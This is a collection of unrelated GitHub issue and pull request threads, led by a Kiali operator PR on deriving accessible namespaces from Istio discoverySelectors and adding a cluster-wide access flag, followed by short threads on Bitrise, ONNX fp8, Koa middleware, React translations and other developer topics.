use discovery selectors to determine accessible namespaces

This is a WIP.
To continue to provide backward-compatible support for current ways in which namespaces are given access to kiali, this does not add or remove any configuration settings.. the ConfigMap and Kiali CR remain as-is.
However, it adds semantics around a new value for accessible_namespaces - if it is a list with double-plus (i.e. [++]) this informs the operator it should examine the Istio ConfigMap, obtain the discoverySelectors and query the cluster namespaces using those selectors. Those namespaces then become the list of namespaces in accessible_namespaces (i.e. the deployment.accessible_namespaces field in the Kiali ConfigMap will be those names that resulted in the query). If there are no discoverySelectors in the Istio ConfigMap, then the accessible_namespaces will be changed to [**] thus giving Kiali cluster-wide access to all namespaces.
The one issue with this is the namespaces become fixed -- if someone creates a new namespace that matches a discoverySelector, the user has to "touch" the Kiali CR so the operator can reconcile and add the new namespace to the kiali list of accessible namespaces. I'm investigating ways to do this, but it probably will involve the user having to create a label or annotation on the namespace to indicate which kiali instance should be given access to it.
Fixes: https://github.com/kiali/kiali/issues/3914

I'm testing this by installing bookinfo demo (hack/istio/install-bookinfo-demo.sh -c kubectl -tg) and adding this discoverySelectors section to the istio ConfigMap (kubectl edit cm istio -n istio-system):
data:
  mesh: |-
    discoverySelectors:
    - matchLabels:
        kubernetes.io/metadata.name: bookinfo

I thought about having a new playbook that looks like the following, which would process the new namespaces by looking for the kiali.io/member-of label and figuring out which Kiali CR should be reconciled:
  - name: Get the new namespace kiali.io label
    vars:
      new_namespace_resource: "{{ lookup('kubernetes.core.k8s', kind='Namespace', resource_name=ansible_operator_meta.name) | default({}) }}"
    set_fact:
      new_namespace_kiali_member_of: "{{ new_namespace_resource.metadata.labels[(new_namespace_resource.metadata.labels | dict2items | selectattr('key', 'match', '^kiali.io/.*member-of$') | map(attribute='key') | list | first)] }}"
    when:
    - new_namespace_resource | length > 0
    - new_namespace_resource.metadata is defined
    - new_namespace_resource.metadata.labels is defined
    - new_namespace_resource.metadata.labels | length > 0
    - new_namespace_resource.metadata.labels | dict2items | selectattr('key', 'match', '^kiali.io/.*member-of$') | map(attribute='key') | list | length == 1

  - name: Ignore namespace if Kiali is not to be given access via kiali.io/member-of label
    debug:
      msg: "There is no single kiali.io/member-of label on the new namespace [{{ ansible_operator_meta.name }}]. It will be ignored."
    when:
    - new_namespace_kiali_member_of is not defined or (new_namespace_kiali_member_of | length == 0)
  - meta: end_play
    when:
    - new_namespace_kiali_member_of is not defined or (new_namespace_kiali_member_of | length == 0)

   # For this to work, the user must put the Kiali CR in the same location where Kiali is to be installed. See above comment.
  - name: Find the Kiali CR
    vars:
      kiali_cr_resource: "{{ query('kubernetes.core.k8s', api_version='kiali.io/v1alpha1', kind='Kiali', errors='warn', namespace=new_namespace_kiali_member_of) | first | default([]) }}"
    set_fact:
      kiali_cr_name: "{{ kiali_cr_resource[0].metadata.name }}"
    when:
    - kiali_cr_resource is defined
    - kiali_cr_resource | length == 1

  - debug:
      msg: "There is no Kiali CR found in [{{ new_namespace_kiali_member_of }}], the new namespace [{{ ansible_operator_meta.name }}] will be ignored."
    when:
    - kiali_cr_name is not defined
  - meta: end_play
    when:
    - kiali_cr_name is not defined

  # at this point, touch the Kiali CR by modifying an annotation so it can be reconciled

But then I realized this is probably overkill. We don't have to require the user to label the namespace. This is especially true if there is only a single Kiali installed for cluster-wide access. Just have the playbook get all the Kiali CRs in the cluster and "touch" them - let the operator reconcile them all and figure out which (if any) Kialis should be given access to the new namespace.

@jmazzitelli I think there's two different scenarios to cover with discovery selectors:

Discovery selectors and kiali has cluster wide access
Discovery selectors but kiali does not have cluster wide access

For 1. kiali would create cluster scoped watches on kube resources as it does today with accessible_namespaces == ** but it would filter out the namespaces that do not match the discovery selector. This can, and I think needs to be, done inside of the kiali server. afaik there's no way to limit the scope of watches for an object's namespace matching a certain label.
For 2. this is the scenario you are handling in this PR I believe where kiali does not have cluster wide access and discovery selectors exist? In this scenario kiali will create namespace scoped watches for every namespace that matches either accessible_namespaces or whatever list the operator will provide to the kiali server. This list needs to be populated by the kiali operator because the kiali server won't have permissions to know what namespaces to watch. It needs to be told what namespaces to watch. For example, kiali can't do a GetNamespaces call and filter by the discovery selector since this would require cluster-scoped permissions.
Could you use https://sdk.operatorframework.io/docs/building-operators/ansible/reference/watches/ to continually watch the Namespace resource in the operator, do the filtering by discovery selector there, and update the list of namespaces for the kiali server? This way the operator will always keep the list of namespaces up to date when namespaces come and go without needing users to touch the Kiali CR.

Could you use https://sdk.operatorframework.io/docs/building-operators/ansible/reference/watches/ to continually watch the Namespace resource in the operator,

Currently experimenting with that the past few hours... that's exactly what my playbook in the last comment is doing - its running when a new namespace is found. Stay tuned... I might have a commit coming as a WIP trying to get this to work. Barring unforeseen problems, I think it will work nicely.

This needs a lot of testing. The first attempt and it all seemed to work as expected. But because this now adds a new watch to the operator which runs a new playbook, I'm afraid of what i don't know - unforeseen side-effects.
This is a quick test though.

Install Istio with discoverySelector in the istio ConfigMap set to:

data:
  mesh: |-
    discoverySelectors:
    - matchLabels:
        kubernetes.io/metadata.name: bookinfo

Build this PR and push the operator to the cluster. Install Kiali while you are at it, making sure to set accessible_namespaces to [++] such as with this command make -e CLUSTER_TYPE=minikube -e ACCESSIBLE_NAMESPACES="++" build build-ui cluster-push operator-create kiali-create
Make sure the Kiali ConfigMap shows only istio-system in deployment.accessible_namespaces
Now install bookinfo demo: hack/istio/install-bookinfo-demo -c kubectl -tg
This should automatically trigger the operator to see the new bookinfo namespace, reconcile the Kiali CR, and eventually you should see bookinfo in the Kiali ConfigMap deployment.accessible_namespaces.
You should also have access to bookinfo in Kiali UI.

Note that if we pull this off, we can remove the caveat in our docs that says if you use accessible_namespaces that does NOT have ** then Kiali won't be able to use namespaces that are created after Kiali is installed. This is because the Kiali CR will be reconciled on new namespace creation, and if you have the proper accessible_namespace regex set up, the operator will pick up the new namespace and give kiali access automatically.

I am wondering if the semantics of ** should just include what ++ does in this PR. In other words, do not add a new special value of ++ and just have ** mean "use discoverySelectors; if they aren't defined, access all namespaces cluster-wide".
Need to think about this - I'm wondering if there is a use-case where a user would want kiali to have access to all namespaces regardless of what discoverySelectors are set (which is how it works now). If that is not a valid use-case, then I think we can get rid of the special ++ value and just change the semantics of ** to mean "use discoverySelectors if they are set, otherwise, access all namespaces like always". This would not be backward compatible. So we would need to think about this some more.

I just ran all molecule tests, and they all pass. Now, there are no molecule tests for this discovery Selector specifically, but this test run tells me its all backwards compatible.
I'm going to try to get ** to behave like ++ iff discovery Selectors are set, otherwise it will fall back to the normal ** behavior. I'll then run the tests again and see if anything breaks.

last commit removes the ++ semantics and just folds that behavior into the ** handling. So there isn't a new special ++ value, rather, when you specify ** by default the Kiali operator will query namespaces using discovery Selectors if they are specified. If not, ** acts like it always does. This means discoverySelectors will be used without the user asking explicitly to use them. The only time discoverySelectors will not be used is if the user specifies their own list of accessible_namespaces - in that case, we'll take what the user tells us and ignore discoverySelectors.
I can confirm that molecule tests all pass on minikube with this change.

Does this mean that kiali will not get clusterroles if discovery selectors are set even if accessible_namespaces == **?

Yes, it does mean that. Is that going to be a problem?
Discovery selectors are going to restrict what we allow Kiali to see. For security purposes, we always restrict Kiali to only being able to see those namespaces that are to be accessible to it (only if the user allows Kiali to see cluster-wide do we create those ClusterRoles). Since discovery selectors will restrict what those namespaces are, Kiali will not be able to see cluster-wide (there is no need to give it those permissions).

Yes, it does mean that. Is that going to be a problem?
Discovery selectors are going to restrict what we allow Kiali to see. For security purposes, we always restrict Kiali to only being able to see those namespaces that are to be accessible to it (only if the user allows Kiali to see cluster-wide do we create those ClusterRoles). Since discovery selectors will restrict what those namespaces are, Kiali will not be able to see cluster-wide (there is no need to give it those permissions).

Yes because the Kiali server needs clusterroles to create a single cluster scoped watch for each of the resources that it fetches from the kube api. Without this, it needs to create a watch for every namespace. It's valid to both have discovery selectors and want a cluster scoped kiali. If we change the behavior to limit kiali to namespace scoped whenever there are discovery selectors present, any user who has discovery selectors with a cluster scoped Kiali will be switched to a namespace scoped one without realizing it and there's some additional performance overhead for doing that.
Like I said above I think there's two different scenarios to cover with discovery selectors:

Discovery selectors present and kiali has cluster wide access
Discovery selectors present but kiali does not have cluster wide access

IMO we need to support both.
Also a multi-cluster setup won't support namespace scoped watches for now. The operator won't have access to the different clusters and won't be able to managed the accessible_namespaces field.

Then that means we really do need at least one other new setting in the Kiali CR since "use discovery selectors" and "access cluster-wide" are separate.
BTW: I'm pretty sure istio ran into an issue with this same kind of thing - particular when it comes to multi-tenacy use-cases (discovery selectors wasn't good enough for them to support multi-tenancy). We don't want to break our multi-tenancy support that we already have.

For example, you could have a clusterScoped setting on the kiali CR that when set would have the operator grant the kiali server clusterroles. And when it's unset the kiali server gets roles and the operator updates accessible_namespaces itself with a list of namespaces when discovery selectors are present?

But this kind of breaks backward compatibility with the ** setting. However we do it, the kiali server needs to know 1. when it's in cluster vs. namespace scoped mode 2. when it's in namespace mode, what are the list of namespaces it has access to

We had a discussion in this PR's issue where we thought about getting rid of most of the settings (like the includes regex and even maybe accessible namespaces) .. but then it appeared that would be difficult to support the different use-cases (plus it would up-end all of our current testing that we do). So this PR essentially added NO new settings and just changed the behavior of **.
Maybe we do something in the middle, like you say add one more setting like "clusterScoped" (or whatever we call it) and try to fiddle with that, maintaining as best we can backwards compatibility.

the kiali server needs to know 1. when it's in cluster vs. namespace scoped mode 2. when it's in namespace mode, what are the list of namespaces it has access to

That's a good pithy way to define the requirements. Let me think about this some more.

The latest commit add a new cluster_wide_access setting that allows you to go into cluster-wide mode even if accessible_namespaces is not **.
This allows you to use the discoverySelectors but still have Kiali be given clusterroles that allows it to see everything.
The default is true if accessible_namespaces is ** and false if accessible_namespaces is not.
Some smoke-testing (running some molecule tests) doesn't show anything breaking. But I need to do more testing to see if this really works.

added molecule tests to the latest commit. I ran the entire molecule test suite on minikube and all passed. So this PR is looking so bright, I gotta wear shades. I'm still not sure this is ultimately what we want but it might be.

This is ready for review. I'll add another comment here shortly with a description of what the current state of this PR is (the new behavior and settings).

There are three separate yet connected features added within this PR, all directly effect the operator and indirectly affect the server.
This do NOT affect the helm charts (neither operator nor server helm charts) in the least. These will be more examples of why we tell people to use the operator as opposed to the helm charts. Because the helm charts are only provided as a convenience for basic installs and will only provide a subset of features that the operator provides.
Also, this does not affect remote clusters. The remote clusters will still need to provide a remote secret with a remote service account that provides the necessary permissions for all mesh namespaces to the Kiali server.

The operator will watch for new namespaces and will reconcile the CR automatically when new namespaces are created. This will allow accessible_namespace regexs to be processed and new namespace access added to the Kiali server via new Roles. Prior to this, you had to touch the CR manually to kick off a reconciliation in order to pick up new namespaces. This feature is one I am still sketchy about because I do not know how it will effect the operator (will the operator constantly be churning when multiple namespaces are added?). This feature does have a throttling mechanism where the CR will not be touched/reconciled if it was already modified within the past 60 seconds (so the thinking is there will be one reconciliation that gets triggered within a 60 second timeframe, regardless of the number of namespaces added within that minute). But I think this has the potential of causing the operator to miss namespaces, so the user may find it necessary to manually touch the CR again (just as they do today - so technically this isn't a regression, it is just the way it has always worked).
The use of Istio discovery selectors when the Kiali CR deployment.accessible_namespaces is set to ['**']. In the past, the Kiali CR provided two basic accessible namespace configurations: (a) a list of names of namespaces, with regex supported, thus limiting what Kiali server can see through Role/RoleBindings that grant it permissions to only those namespaces and (b) a cluster-wide mode that gives Kiali Server a view of all namespaces in the cluster through ClusterRoles/ClusterRoleBindings. This new feature allows you to restrict the ['**'] (cluster-wide) access by having the operator examine the Istio ConfigMap discoverySelectors and setting the accessible namespaces to only those namespaces that match the selectors. So now when you set accessible namespaces to ['**'] you are not guaranteed to get cluster-wide access. You will only get cluster-wide access if there are no discovery selectors defined within Istio. If there are discovery selectors, the operator will set the accessible namespaces list to only those namespaces that match the discovery selectors, thus limiting what Kiali server can see.
A new deployment.cluster_wide_access flag can now be set to explicitly tell the operator to give the Kiali Server permissions to see all namespaces cluster wide, even if deployment.accessible_namespaces tells Kiali Server to only look at a subset of namespaces. This is mainly for efficiency purposes. Due to the way Kubernetes watches are implemented, you can only watch a single namespace, or all namespaces cluster-wide. Kiali Server's internal cache heavily uses the Kubernetes watch feature, and for large clusters with large numbers of namespaces, asking Kiali Server to create a watch for each individual namespace will be detrimental to performance. In this case, you can set accessible_namespaces to a list of namespaces but still ask the operator to provide cluster-wide access to Kiali in order to allow Kiali to create cluster-wide watches thus making its internal cache work more efficiently and use less resources. Note that if accessible_namespaces is set to ['**'] (and no discovery selectors are defined) then you are required to have Kiali have cluster-wide access, so the operator will forbid you to set the new cluster_wide_access flag to false in that specific use-case. Other than that, you can independently set cluster_wide_access to true or false depending on how you want Kiali to behave. The default will be true if accessible_namespaces is set to ['**'] and false otherwise. When set to false, each accessible namespace will have a Role/RoleBinding created in it that provides the necessary permissions for Kiali Server. When true, only a ClusterRole/ClusterRoleBinding will be created (just as it has in the past when accessible_namespaces was set to ['**']).

To test this, you can run the cluster-wide-access-test molecule test and the accessible-namespaces-test (that one is just to confirm nothing broke):
./hack/k8s-minikube.sh start

./hack/istio/install-istio-via-istioctl.sh -c kubectl

make -e CLUSTER_TYPE=minikube build build-ui cluster-push

./hack/run-molecule-tests.sh \
  -dorp podman \
  -ce $(which kubectl) \
  -ct minikube \
  -udi true \
  -at "cluster-wide-access-test accessible-namespaces-test"

After reading through this stuff, and also some side-conversation, I think there are two primary ways to go, one of which is fairly close to what you have here.
First, a couple of things common to both:

I think Kiali's namespace permissions should be separate from Kiali's namespace access.  In other words, It should be possible, and easy, to let Kiali have permissions to more namespaces than for those it will provide access.  That boils down to allowing Kiali to have cluster-wide namespace permission even if the set of accessible namespaces is restricted.

So I'm +1 for adding deployment.cluster_wide_access.

I think we should change the accessible_namespaces default to '**'.   In other words, we should stop making people understand what we mean by '**', it can become just an internal thing because I know it's all over the code, but it would basically be the equivalent of not defining accessible_namespaces.

Option 1:
In this approach the operator is de-emphasized.  It provides global permissions in cluster-wide and otherwise namespace permissions to all namespaces defined by accessible_namespaces.  The Kiali server narrows the accessible_namespaces by applying any defined Discovery Selectors.  This final set of "watched" namespaces is what is available to the users.  If not using cluster-wide, we set up namespace-watches on these namespaces.
In this option I don't think the operator needs to watch for DS changes, but a DS change would require a Kiali restart.
Option 2:
This is close to what you have but introduces the '**' default for accessible_namespaces.  In this approach the operator is more involved.  There are two scenarios:

accessible_namespaces is not defined

we defer completely to Discovery Selectors to define the set of namespaces

accessible_namespaces is defined

we ignore DS and just use our explicitly defined set of namespaces.

In this option the operator needs to watch for DS changes when AN is not defined.
Either way, if not in cluster-wide the operator needs to grant permissions to the resolved namespaces (if no DS for option 1, then cluster-wide could be applied).   In option 1 the server will still process the DS to determine the set of namespaces, in option 2 it just uses the defined set.
Other:

I think I'd also like to deprecate spec.api.namespaces.include and spec.api.namespaces.exclude, encouraging the use of Discovery Selectors and, if necessary, our label-selector options.
"...This feature does have a throttling mechanism where the CR will not be touched/reconciled if it was already modified within the past 60 seconds"

This sort of gives me the heebee-jeebies, it sounds like it could be too non-deterministic.

This sort of gives me the heebee-jeebies, it sounds like it could be too non-deterministic.

If you want the heebee-jeebies then just watch what happens to the operator without that :slightly_smiling_face: Every namespace in the cluster triggers a call into the operator when the operator starts up - and every time a namespace is touched, the operator gets pinged to do its thing. When I saw the logs scroll off the screen when I first started this up, I was like, "Whoa.. that's not what I want". I don't know if that's just a startup thing and we won't see that kind of hammering on the operator after, but it didn't look good. All we need to do is - if we see a new namespace, we just touch all CRs in the cluster. We don't care how many namespaces were actually created, we just need to know "one or more namespaces are new - tell the Kiali CRs to reconcile to see if they need to access one or more of those namespaces"

this is ready for review (again). Must be used in conjunction with the server PR because the server will now process the discoverySelectors, not the operator.

all molecule tests pass on minikube

Added a couple more tests in the molecule test suite that originally caught some bugs. Those tests are back to passing. Things are looking good and this (and the server PR) is ready for merge.
=====================
=== TEST RESULTS: ===
=====================

              accessible-namespaces-test... success [8m 41s]
     affinity-tolerations-resources-test... success [3m 38s]
                cluster-wide-access-test... success [9m 13s]
                      config-values-test... success [2m 51s]
                  default-namespace-test... success [1m 59s]
                            grafana-test... success [3m 40s]
                        header-auth-test... success [1m 53s]
                      instance-name-test... success [2m 32s]
                             jaeger-test... success [2m 45s]
                            metrics-test... success [3m 57s]
                     null-cr-values-test... success [1m 48s]
                only-view-only-mode-test... success [2m 44s]
                             openid-test... success [1m 54s]
                     openshift-auth-test... skipped
                   os-console-links-test... skipped
                 read-certs-secrets-test... success [1m 50s]
                              roles-test... success [5m 54s]
                    rolling-restart-test... success [2m 46s]
                              token-test... success [2m 11s]


deploy-to-itunes-connect-with-pilot 1.0.0

New Pull Request Checklist
Please mark the points which you did / accept.

[X] I read the Step Development Guideline
[X] I have a test for my Step, which can be run with bitrise run test (in the step's repository)
[X] I did run bitrise run audit-this-step (in the step's repository - note, if you don't have this workflow in your bitrise.yml, you can copy it from the step template.)
[X] I read and accept the Abandoned Step policy

This step has the same functionality as the itunesconnect-deliver step but adds the ability to distribute the app to external testers via Fastlane pilot.

Sounds awesome, thanks for the PR @e-vision !
@godrei @kdobmayer @trapacska please check!

Hi @e-vision ,
thanks for the PR, please have a look on comment.
Do you know any reason to keep both deploy-to-itunes-connect-with-deliver and deploy-to-itunes-connect-with-pilot?

@godrei
I think there is a pilot upload and a pilot distribute command
possible. In the first case you need to specify an ipa or pkg. So the text
in description is wrong and should read ‘upload' or ‘distribute’ (in stead
of ‘build' and 'distribute'. We use both versions in our flow. One for
internal and the other for external testing.
BTW the commands are not properly documented on the Fastlane website.
@Krisztián
I think we could still use deploy-to-itunes-connect-with-deliver for final
submission for review for store submission.
Regards,
Kees Schouten
Aan Zee Service Design
werk: +31 71 364 11 11
mobiel: +31 6 248 309 54
<EMAIL_ADDRESS>- http://www.aanzee.nl
http://www.twitter.com/AanZeeNL
On 22 February 2018 at 11:16:07, Krisztián Gödrei<EMAIL_ADDRESS>wrote:
@godrei commented on this pull request.
In steps/deploy-to-itunes-connect-with-pilot/1.0.0/step.yml
https://github.com/bitrise-io/bitrise-steplib/pull/1392#discussion_r169909842
:

+inputs:
+- ipa_path: $BITRISE_IPA_PATH

opts:
description: Path of the IPA file, to be deployed to iTunes Connect
summary: ""
title: IPA path
+- opts:
description: Path of the PKG file, to be deployed to iTunes Connect
summary: ""
title: PKG path
pkg_path: $BITRISE_PKG_PATH
+- opts:
description: 'Action to execute: build or distribute'
summary: ""
title: Pilot action
pilot_action: distribute

I think this step is only supposed to distribute an app (based on its
title).
Also based on fastlane pilot -h it seems there is no build command.
I would recommend to remove this input and hardcode the distribute action,
or am i missing something?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/bitrise-io/bitrise-steplib/pull/1392#pullrequestreview-98510140,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABoFcXOKmXGTmSHqWI87wFZFhyUMpR3ks5tXT5jgaJpZM4SFegy
.

Hi @e-vision ,
sorry for my late response!
1, I have looked into it and it seems:
pilot is supposed to manage to upload an ipa file to  iTunes Connect / Test Flight, to do so an ipa:

needs to be uploaded to iTunes Connect / App Store
needs to be submitted in iTunes Connect / App Store

then it can be submitted to iTunes Connect / Test Flight
in contrast deliver is supposed to upload / submit / release your ipa to  iTunes Connect / App Store, to do so an ipa:

needs to be uploaded to iTunes Connect / App Store
needs to be submitted in iTunes Connect / App Store

then it can be released to the iTunes Connect / App Store.
So the tools have overlapping subtasks but they have a different goals.
Can you confirm it?
2, Regarding to the pilot_action input: in pilot -v 2.83.0 there is no build command at all.
fastlane pilot -h :
...
  Commands: (* default)
    add          Adds new external tester(s) to a specific app (if given). This will also add an existing tester to an app.
    builds       Lists all builds for given application
    distribute   Distribute a previously uploaded binary to Apple TestFlight
    export       Exports all external testers to a CSV file
    find         Find tester(s) (internal or external) by their email address
    help       * Display global or [command] help documentation
    import       Create external testers from a CSV file
    list         Lists all registered testers, both internal and external
    remove       Remove external tester(s) by their email address
    upload       Uploads a new binary to Apple TestFlight
...

Please remove the input and hardcode the distribute command: https://github.com/e-vision/steps-itunesconnect-pilot/blob/master/main.go#L380

Closing as we did not receive a reply - @e-vision  please let us know if we can help with anything and we'll reopen this issue!

Hi, is this PR still live?
Is there a plan to make pilot available in bitrise?
Thanks

Hi,
this PR is closed as we did not receive an answer.
You can create a feature request for the step: https://discuss.bitrise.io/c/feature-request


Update onnx proto and onnx parser to handle fp8 types

updates onnx.proto files to be same as onnx==1.14.1 that is used by MIGraphX. File is copied from here.
Add more switch cases in onnx parser to handle FP8 dtypes.
Testing : Reading of quantized fp8 onnx model works. it runs on "ref" alright as well.
Question : Are there any backend tests that need to be enabled ?

Question : Are there any backend tests that need to be enabled ?

There are some:
https://github.com/ROCmSoftwarePlatform/AMDMIGraphX/blob/develop/test/py/onnx_backend_test.py#L871-L921

Question : Are there any backend tests that need to be enabled ?

There are some: https://github.com/ROCmSoftwarePlatform/AMDMIGraphX/blob/develop/test/py/onnx_backend_test.py#L871-L921

The other things is that  many of the tests are cast and castlike. Which would require some update in parsing logic of MIGraphX to account for new "saturate" attribute.

#2504 should fix the format issue.


Change Formula for Consistency

Use this formula to determine the value:
constexpr int NUM_BASE_BITS{constexpr_log2(NUM_VECTOR_ELEMENTS)};

Also see https://leimao.github.io/blog/CuTe-Swizzle/
https://github.com/leimao/CUTLASS-Examples/blob/d97684907aa17632a63c917bb89ff099d5133805/examples/cute_matrix_transpose/cute_matrix_transpose_shared_memory.cu#L703

Fixed.


Update get_tixi_tigl.sh Script

Description
Fixes #884. We needed to fix the tixi minor version to the one available in the opensuse repo: https://download.opensuse.org/repositories/science:/dlr/xUbuntu_18.04/

How Has This Been Tested?

Screenshots, that help to understand the changes(if applicable):
Checklist:

[ ] A test for the new functionality was added.
[ ] All tests run without failure.
[ ] The new code complies with the TiGL style guide.
[ ] New classes have been added to the Python interface.
[ ] API changes were documented properly in tigl.h.

Codecov Report

Merging #885 (53f4aea) into master (c464e3c) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #885   +/-   ##
=======================================
  Coverage   62.53%   62.53%
=======================================
  Files         292      292
  Lines       24640    24640
=======================================
  Hits        15408    15408
  Misses       9232     9232


"51+.5 => 56"

Is it an intended behaviour for it to not recognize ".5" as "0.5"?

certainly not, I'll take a look at it soon

Thanks for the report.  Fixed.

This expression is also to correct.
2(5) = 25, should be 10

This is actually an invalid expression for AutoHotkey.  This is read as 2() being a function with an input parameter 5.
The main purpose of this lib is to evaluate text math expressions according to the syntax of AutoHotkey.
If you try msgbox 2(5) you will get an error.  I suppose I can try to detect this kind of syntax and then throw an error. I'll have to think about how to handle this.


v2 Member Portal API Swagger - Foundations with EasyCLA

Summary
Create an API to return a list of foundations and projects with EasyCLA enabled.
Background
See PRD which describes the use-case.
This issue generates the Swagger Specification for the Dashboard View.
User Story
See the PRD.
Acceptance Criteria
The "done" criteria when this feature or problem is resolved. Such as:

Unit Tests added and running in CI
Functional Tests updated to cover feature, if applicable
Demonstrate the set of capabilities to the product team while the code is running in the STAGING environment.

References
(Optional) Provide any code or specification references that would be helpful for the developer implementing this feature.

Added swagger definition on PR https://github.com/communitybridge/easycla/pull/1177.

Merged to master -> pushed to DEV.
API Docs: https://api-gw.dev.platform.linuxfoundation.org/cla-service/v4/api-docs#operation/getProjectSummary
Ready for LFX consideration.

Endpoint: https://api-gw.dev.platform.linuxfoundation.org/cla-service-v4/project/summary
API Docs: https://api-gw.dev.platform.linuxfoundation.org/cla-service/v4/api-docs#operation/getProjectSummary


Custom Abbreviation Mapping

Feature Request: Custom Abbreviation Mapping
Is your feature request related to a problem? Please describe.
I often use custom abbreviations for various Python modules in my projects. Pylance currently supports abbreviations for some popular libraries like numpy (np) and pandas (pd), but there is no way to define my custom abbreviations.
Describe the solution you'd like
It would be helpful if Pylance allowed users to configure their custom abbreviation mappings. This could be done via a settings file, where users can define their preferred abbreviations for specific modules.
Describe alternatives you've considered
While it is possible to create custom abbreviations within individual scripts using sys and importlib, this approach is not as seamless or efficient as having Pylance recognize custom abbreviations natively.
Additional context
Custom abbreviation support would enhance productivity and maintain code readability, especially in larger projects with frequently used custom modules.

Transferring to discussions for up votes.


GENOME_ASSEMBLY waits on ASSIGN_REFERENCES because of QUAST

Right now genome assembly does not start until references are chosen even though references are not needed for spades. We could move QUAST out of GENOME_ASSEMBLY or redo how the channels are connected inside GENOME_ASSEMBLY

fixed by removing reference requirement of quast in the dev branch.


How to do an early return and keep processing information in the next middleware?

I have a certain middleware that based on a specific option, it needs to

retrieve data from the database in the next middleware
log it to a file in the middleware after that

On the client side, the user can and should skip all of that and just get a status 200. How would I go about this in koa? Instead of awaiting the db response and then logging it in the next middleware, is the only solution to NOT await the db response and log the db response within a callback or a thenable function so it doesn't hold the client? or is there a more robust way?

You can't return and also continue - that makes no sense. What you can do is to write manually to socket and then continue the chain by returning next.
This to me isn't a clean solution and does sound like a code smell where the flow of a Koa application is forced into something it wasn't designed for. Instead, since this looks like a background process type deal, I'd either just kick a new promise which I don't await for (remember the handle/catch errors), or ideally have a away to handle background processes through a worker pipeline.
So in pseudo code:
app.use(async ctx => {
  db.fetch() // Assuming a Promise is returned
    .then(() => { ... })
    .catch(err => {
      log(err)
    })

  // status 200 will be returned regardless of if db.fetch() resolves or rejects.
  ctx.status = 200
})

I was thinking along those lines too. Thank you for confirming the pattern.


please add the ability to select the album format

?

one album can be presented in different formats (standard, hires, dolby atmos, sony360)


using React.Fragment for wrapping React translations

Hi Ryan,
When I using React translation in react-native.
Following error occurred.
Invariant Violation: View config not found for name span

It should wrap translated components by React.Fragment

@thchia I think there was a reason we couldn't use Fragment here? I think it was something to do with the ability to render React components from translations. Hoping you remember.

@ryandrewjohnson Actually when I tried this a while back some tests failed, but I think that was an Enzyme implementation detail that I didn't investigate... In any case it looks fine here.
One thing to be aware of is that it is going to alter the markup that is rendered, so it might be worth considering releasing this as a breaking change:
<Translate id='foo' data={{ reactComponent: Component }} />

// Before: Translated Foo with <Component />

// After: Translated Foo with <Component />

If you have CSS targeting the span it may cause issues.

@congcuong-cse there is still a scenario where a span will be rendered if you have HTML in your translations. You can see the source here. Do you foresee this being an issue?
In this case a span is needed for the reasons outlined in #72.

@ryandrewjohnson @congcuong-cse we would have to assume that no HTML will be present in the translations if this is being used in a React Native project.
AFAIK this seems reasonable, since I don't think it makes sense to render HTML anywhere in React Native (based on my limited experience with it). Therefore the responsibility rests on the consumer of this library to ensure that their translations do not contain HTML if they are using them in React Native.
I'm still more wary of the fact that this change will alter the rendered markup, so if released, should be done so under a breaking change release.

@thchia thanks for the input. I definitely agree that we should mark this a breaking change, which would mean a major version bump. If we are going through the trouble of doing a major release though I would like to take a step back, and see if there are any other breaking change updates that should be included as well.
What I will most likely do is but a new branch for the 4.0 release, and change that to be the base branch for this PR. Then in the 4.0 branch can make additional changes that should be included in 4.0 release.
Let me know if you have any recommendations on what improvements can be done in 4.0.

@ryandrewjohnson no worries. I don't have anything off the top of my head in terms of v4 for the public-facing API.
Without hijacking this thread, I wonder what your take is on waiting for the hooks API to become stable and doing a refactor with that. Given that this library uses context and an internal model of state and dispatchers, I'm guessing a lot of that could be simplified using the 'useContext/useReducer` hooks.
If I have time over the holiday season I may investigate this in a more hands-on way, hopefully get some code out for us to look at 🙂

Now tracking in #140

Closing as this work is now included in #140.


Refactor application and add test runner + CI config

Breaks components in main file out into dedicated Parser.hs, Types.hs,
and ComponentGenerator.hs files. Main is now just a thin wrapper that
runs the command line parser and calls the functions in
ComponentGenerator.
Pulling ComponentGenerator functionality into its own file allows
running tests with stack test; tasty is used as the test runner.
Closes #14

Previous build passed (https://travis-ci.org/tpoulsen/generate-component/builds/180598212); ci is acting up so merging now in the interest of time.


Add yarn.lock support

Is your feature request related to a problem? Please describe.
There's a build error without package-lock.json, it happened right after I replaced package-lock.json with yarn.lock

Describe the solution you'd like
I'm not totally sure if this is just some sort of configuration I'm missing, but I was not expecting an error due to the lack of package-lock.json. The enhancement here would be for this kind of error with yarn to not appear.
Describe alternatives you've considered (if any)
After looking around the only mention of yarn in begin.com is in the Vue guide so I haven't tried anything else TBH.

Hmm, sorry about that, we should support Yarn, I wrote the integration! I am out of town this weekend but will take a look first thing next week. Thank you for reporting! 💕

Oh, real quick, try adding Yarn to your dev deps, that may fix it!

I just tried that, but it doesn't seem to do the trick.

Ok, thanks for your patience, it's been a hectic few days!
I've got this cornered, stand by for a fix shortly.

Good news, fix is live now, please let me know if you run into any issues! (You should be able to just hit the retry build button, no new builds necessary.)


use floating menu exclusively for selecting attachment type

@keybase/react-hackers
Since taking video on iOS is broken in react-native-image-picker (it doesn't get the right set of perms), the easiest path forward is to just not allow it for now. This patch dumps invoking the native control from showImagePicker and just uses FloatingMenu for everything, taking advantage of launchCamera and launchImageLibrary. The Android experience is now improved, and I think the whole thing feels faster (the native popup on Android was pretty sluggish, this new deal just feels snappier). Here is what it looks like when you tap the camera icon on both platforms:
iOS:

Android:

FYI: this same crasher is present in Files if you "Take Photo" and try to do video, not sure if you all know about that cc @songgao @jzila


handle errors when peer_id does not exists

This avoids malformed RIB dump entries panicing the process.
This PR addresses issue #158

@digizeph Is there an easy way to catch/handle these parsing errors from outside the loop?
(sorry for the newbie question, I am new to Rust)

Unfortunately, I currently don't know how to achieve that without sacrificing the developer experience. The iterator (loop) works as keep returning Some(data) until it returns None. Unless we start returning Option<BgpElem> on every elem, we won't be able to detect issues without stopping the iteration.


BundleInstall fails when user name is unicode

I'm on Windows, my username is in Unicode characters. When I run BundleInstall, it throws error "Can't open file ...."
I notice the path is not showing correctly and assume it is you or VIM that cannot process unicode path correctly.

@gqqnbig Wow thanks for the report :smile: . I can see if I can replicate this weekend perhaps

I think it is system() that doesn't support Unicode path. I run
:let a=system('ls')
VIM gives the same error.

Interesting, what if you:
set encoding=utf-8

I already have this. I've opened an issue in VIM.

